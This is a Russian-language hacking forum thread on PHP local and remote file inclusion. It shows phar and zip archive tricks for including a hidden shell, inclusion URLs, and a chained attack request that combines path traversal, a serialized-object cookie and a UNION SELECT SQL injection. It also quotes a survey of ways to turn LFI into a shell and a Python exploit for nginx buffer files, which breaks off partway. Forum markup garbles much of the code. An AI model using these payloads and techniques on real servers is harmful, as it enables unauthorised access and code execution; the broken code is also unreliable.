HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Кухня
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 18.06.2012, 14:55
nikp
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме:
835386

Репутация: 1463
По умолчанию

Небольшое добавление к технике инклудов.

Начиная с PHP версии 5.3.4 стало проблемно работать с инклудами, у которых присутствует "хвост".

С другой стороны, в линейке 5.3, появилась штатная поддержка архивов phar.

В случае RFI, появилась возможность не отрезать лишний хвост, а спрятать его внутри архива.

Пример:

in2.php

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
Создадим архив phar с файлом bla.gif

для создания нужно в php.ini установить: phar.readonly = Off

PHP код:
PHP:
[
COLOR="#000000"]//создадим архив in.phar

$p = new Phar('in.phar');

$p->setStub('[COLOR="#0000BB"][/COLOR]');

$p['bla.gif'] = '[COLOR="#0000BB"][/COLOR]';

//или

//$p['bla.gif'] = file_get_contents('shell.php');

[/COLOR
Инклудим

http://localhost/in.php?pic=phar://in.phar/bla

Это может быть и zip или tar архив, конвертнем

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]$p[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$p[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]convertToExecutable[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]Phar[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]ZIP[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR
Инклудим

http://localhost/in.php?pic=phar://in.phar.zip/bla

Хвост может быть длинным, тогда в каталоге arc создаем нужную структуру файлов, например /tmp/arc/Bla/bla2/file.ext

и добавляем в архив

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]//вторым параметром можно указать регулярку для отбора файлов

//каталоги и файлы в архиве - чувствительны к регистру (даже для винды)

[/COLOR][COLOR="#0000BB"]$p[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]buildFromDirectory[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/tmp/arc/'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'/.*/'[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR
для родного формата phar, расширение не обязательно, или любое.

Для zip обязательна подстрока .zip (bla.zip, bla.zip.php и т.д.)

После аплоада получаются файлы без расширения, типа phpKuAoU3

Инклудим

Код:
Code:
http://localhost/in.php?pic=phar:///tmp/phpKuAoU3/bla
Можно грузить zip архив и использовать обертку zip:// (почти везде установлена, поддерживается много раньше phar://)

Код:
Code:
http://localhost/in.php?pic=zip:///tmp/phpKuAoU3%23bla
Способ не зависит от настроек

allow_url_fopen

allow_url_include

magic_quotes_gpc

а зависимостей две

- можем влиять на начало строки инклуда

- можем приготовить файл произвольного содержания, имя не важно.

Про zip:// подробнее можно посмотреть у Алексея Москвина (Positive Technologies).

PS

К архиву in.phar можно обратиться

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]include([/COLOR][COLOR="#DD0000"]'phar://in.phar'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#FF8000"]//или напрямую

[/COLOR][COLOR="#007700"]include([/COLOR][COLOR="#DD0000"]'in.phar'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#FF8000"]//а вот к файлу внутри архива, только через обертку

[/COLOR][COLOR="#007700"]include([/COLOR][COLOR="#DD0000"]'phar://in.phar/bla.gif'[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR
Если найдется способ прямого обращения к файлу архива, будет решена проблема хвоста и в LFI.
 
Ответить с цитированием

  #2  
Старый 18.06.2012, 22:30
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557

Репутация: 606


По умолчанию

То есть в новых версиях такое уже не работает?

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]Scr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]page[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//site.com/shell.php?

[/COLOR][/COLOR
То есть, вопросом не обрезать?
 
Ответить с цитированием

  #3  
Старый 19.06.2012, 10:06
nikp
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
Провел на форуме:
835386

Репутация: 1463
По умолчанию

Цитата:
Сообщение от попугай  
попугай said:
То есть в новых версиях такое уже не работает?
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]Scr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]page[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//site.com/shell.php?

[/COLOR][/COLOR
То есть, вопросом не обрезать?
Удобнее считать, что RFI - это возможность влиять на начало строки инклуда, т.е.

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"f"[/COLOR][COLOR="#007700"]];

include[/
COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#DD0000"].gif"[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]//RFI

[/COLOR][COLOR="#007700"]include[/COLOR][COLOR="#DD0000"]"./[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#DD0000"].gif"[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]//LFI

[/COLOR][/COLOR
т.е. возможность проинклудить удаленный файл - частный случай RFI, в общем случае RFI - это возможность обратиться к подключаемому файлу,

как по имени, так и через враппер (http, ftp, php, data, file, glob и т.д. http://php.net/manual/en/wrappers.php.php )

Имелось в виду, что начиная с PHP версии 5.3.4, обрезать хвост с помощью NULL-byte или альтернативно /././.... - не получится.

Поэтому предлагается для локального файла не обрезать мешающий хвост строки инклуда, а сформировать его внутри архива,

тогда ошибки не происходит и нормально инклудим приготовленную начинку.
 
Ответить с цитированием

  #4  
Старый 08.04.2016, 04:10
Telariust
Guest
Сообщений: n/a
Провел на форуме:
3018

Репутация: 3
По умолчанию

Не для инклуда, но в тему "PHP 5.3.4 (09.12.2010) NULL-byte FIX".

Оказалось, разрабы забыли пофиксить "move_uploaded_file"

(2015-04-18) PHP 5.6.6 move_uploaded_file NULL byte filename truncation

https://www.intelligentexploit.com/v....html?id=21139
 
Ответить с цитированием

  #5  
Старый 01.11.2021, 18:48
Baskin-Robbins
Guest
Сообщений: n/a
Провел на форуме:
92829

Репутация: 212
По умолчанию

Возможно для многих эта заметка будет страшным баяном, но думаю

для кого-то может оказаться полезной.

LFI с хвостом, условно:

[PHP]
PHP:
[COLOR="#000000"][COLOR="#007700"]
 
Ответить с цитированием

  #6  
Старый 02.11.2021, 12:33
crlf
Guest
Сообщений: n/a
Провел на форуме:
169212

Репутация: 441
По умолчанию

Цитата:
Сообщение от Baskin-Robbins  
Baskin-Robbins said:

Вторым
возможным вектором может быть обращение к скриптам напрямую.
Это могут файлы шаблонов, обособленные скриптовые файлы не использующие
пользовательские классы или имеющие уязвимости до того как скрипт упадет
из-за вызова неизвестного метода.
Отличная заметка и отличный вектор атаки. Недавно публиковал сплоит, как раз из этой оперы. Стоит отметить, что не стоит ограничиваться одним действием, мыслим шире и включаем фантазию. Составляем чейны из N инклудов или иных уязвимостей. К примеру, кейс из личного опыта:

SSRF => LFI (.php) => LFI (.php) + LFI (.php) + extract() => LFI (.php) = Admin (FW, SQLi, etc)

Код:
Code:
POST /trans/transfer.php?er,http://dev.example.com/?route=main.page&state_code=/*xxx/../../../../../../../../../../../../../../../../vol1/sites/projects/example-final/trunk/api/www/billing/paypal HTTP/1.1
Host: www.example.com
Cookie: example_state=a:1:{i:0;O:25:"billing_include_subscribe":0:{}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4147.105 Safari/537.36
Content-Type: application/x-www-form-urlencoded

RESULT_MAIN=0&product_id=12345&s=us-/../../../../admin/www/view_tour-1&v=/../../../../../../../../../../../../vol1/sites/projects/example-final/trunk/admin/www/view_tour&state_code=12345' union select 1,2,3,4,5,6,7,8,9 -- 1
 
Ответить с цитированием

  #7  
Старый 24.12.2021, 18:55
crlf
Guest
Сообщений: n/a
Провел на форуме:
169212

Репутация: 441
По умолчанию

В телеге вышел неплохой обзор доступных техник LFI от крутого чувака. Думаю, последние две техники удивят многих, круть

.SpoilerTarget" type="button">Spoiler: Почитать тут
Рождество - время подарков и подведения итогов. Сегодня я решил сделать всем подарок - подвести итоги последних 15 лет проведения LFI в самом рождественском языке программирования - PHP.

Рассмотрим достаточно популярную (когда-то) ситуацию когда у нас есть LFI но нет возможности загрузить файл на сервер. Вот какие есть варианты получить шелл:

logs / sessions / etc

Первое что можно попробовать подгрузить - файлы логов, сессий, файловые дескрипторы или переменные окружение из procfs и т д. Идея простая и в то же время бесполезная - мы каким то либо образом влияем на подгружаемый файл (например передаём пейлоад в User-Agent и пытаемся подгрузить его из access.log) и подгружаем его через LFI. Бесполезной эта идея является потому что последние лет 10 у процесса PHP отобрали права на чтение логов и procfs, а сессии выключены, хранятся в БД (спасибо, микросервисная архитектура) или на них нет возможности повилять

phpinfo()

Ещё один старый способ, первые упоминания которого датируются 2010/2011 годом. Здесь суть заключается в том что при директиве file_uploads = on (которая имеет это значение по умолчанию) PHP будет вычитывать файлы из тела запроса и временно хранить их в директории указанной в директиве upload_tmp_dir. Звучит как отличное решение проблемы если бы не пара нюансов: временные файлы имеют рандомное имя и удаляются сразу же после завершения работы скрипта. В данном случае на помощь может прийти вывод phpinfo();, если он есть где либо на сервере. Он решит первую проблему - отправив файл на этот скрипт мы сможем увидеть имя временного файла. Вторая проблема решается благодаря директиве output_buffering которая по умолчанию имеет значение 4096. Это значит что при превышении размера тела ответа процесс PHP будет отдавать его по серверу чанками. Теперь нам нужно только сделать так чтобы тело ответа было больше размера одного чанка, чтобы имя файла было не в последнем чанке. Далее, надеемся что сервер умеет работать с chunked ответами, вычитываем чанки до имени файла и держим коннект открытым, пока подгружаем полученное имя файла и радуемся шеллу.

https://insomniasec.com/downloads/publications/LFI With PHPInfo Assistance.pdf

PHP_SESSION_UPLOAD_PROGRESS

В 2018 году один внимательный увидел в документации PHP директиву session.upload_progress.enabled которая включена по умолчанию и позволяет сохранять в файле сессии прогресс загрузки файла. Более того, эта директива сама создаст файл сессии даже если не было явного вызова session_start() и положит в него прогресс загрузки файла по ключу который указывается через cookie параметра PHP_SESSION_UPLOAD_PROGRESS. Таким образом, мы можем сами создать сессию и положить в неё свой ключ (который вместе с правильным использованием фильтров может стать для нас золотым ключиком). Но возникает очередная проблема - сессия будет очищена как только загрузка файла будет завершена. Здесь очевидно два решения - рейсить загрузку файла и его подключение или же подержать загрузку файла подольше.

https://blog.orange.tw/2018/10/hitco...challenge.html

tempfile bruteforce / php crash

Предыдущий метод хорош, но может случиться так что директива session.upload_progress.enabled выключена. В таком случае очень полезно вспомнить какой на дворе год и воспользоваться всеми благами широких каналов и быстрого сетевого стека. При возможности задержать исполнение скрипта на достаточное время (например наличие SSRF или чтения файла, что в целом в PHP почти одно и то же) мы можем попытаться набрутить имя временного файла. Удивительно, но такой подход пару раз лично у меня срабатывал и успешная эксплуатация занимала порядка пары часов. Если же мы не хотим сильно нагружать сервер, то можно поискать в багтрекере парочку сегфолтов для необходимой версии PHP. Очевидно, при падении PHP не будет удалять временный файл, тем самым сильно облегчая нам последующий брутфорс.

https://hackmd.io/@ZzDmROodQUynQsF9j...Ub3Q?type=view

compress

В случае если у нас выключена директива file_uploads можно воспользоваться очередным трюком - некоторые врапперы в PHP тоже любят создавать временные файлы. Например, если приложение вызывает file_get_contents с нашими аргументами, то можно чтение compress.zlib://http://hostname/ создаст такой же произвольный файл как и в случае с аплоадом. А дальше уже пользуемся предыдущим способом для его подключения

https://balsn.tw/ctf_writeup/2019122...3ctf/#includer (https://archive.ph/LsA45)

nginx buffer file

В современном мире сложно представить что PHP работает не в качестве FastCGI бэкенда для nginx. Удивительно, но благодаря этому есть способ успешно провести атаку даже если в PHP сильно огорожен отбиранием прав или другими жестокими методами. И всё это возможно благодаря буферам nginx. Если на каком либо этапе проксирования запрос или ответ не влезают в буфер в памяти, то они будут записаны на диск. Но и тут не обошлось без проблем - сразу после создания файла и перед тем как туда что либо записать, nginx удаляет файл, а дальше продолжает работать с файловым дескриптором. Кажется, что мы могли бы попробовать подключить файловый дескриптор через procfs, но и тут очередная проблема - перед подключением файла PHP делает на него lstat чтобы разрезолвить возможные символьные ссылки, и если файл не существует (как в нашем случае) то чуда не произойдёт. К счастью, и тут есть свой обход - из-за возможных проведение корректного lstat требует рекурсивного подхода, а стало быть и должно быть ограничение на глубину рекурсии. Таким образом, если вложенность ссылок будет достаточно высокой, то PHP не сможет понять что файл удалён и успешно его подключит

https://tttang.com/archive/1384/ (https://archive.ph/BLUUu)

Paul Axe, Dec 24 at 17:25

# UPD

#
в тему буффера Nginx + сплоит

https://bierbaumer.net/security/php-...nx-assistance/

.SpoilerTarget" type="button">Spoiler: Exploit

[CODE]
Code:
#!/usr/bin/env python3
import sys, threading, requests

# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details

URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'

# find nginx worker processes
r = requests.get(URL, params={
'file': '/proc/cpuinfo'
})
cpus = r.text.count('processor')

r = requests.get(URL, params={
'file': '/proc/sys/kernel/pid_max'
})
pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')

nginx_workers = []
for pid in range(pid_max):
r = requests.get(URL, params={
'file': f'/proc/{pid}/cmdline'
})

if b'nginx: worker process' in r.content:
print(f'[*] nginx worker found: {pid}')

nginx_workers.append(pid)
if len(nginx_workers) >= cpus:
break

done = False

# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
print('[+] starting uploader')
while not done:
requests.get(URL, data='
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ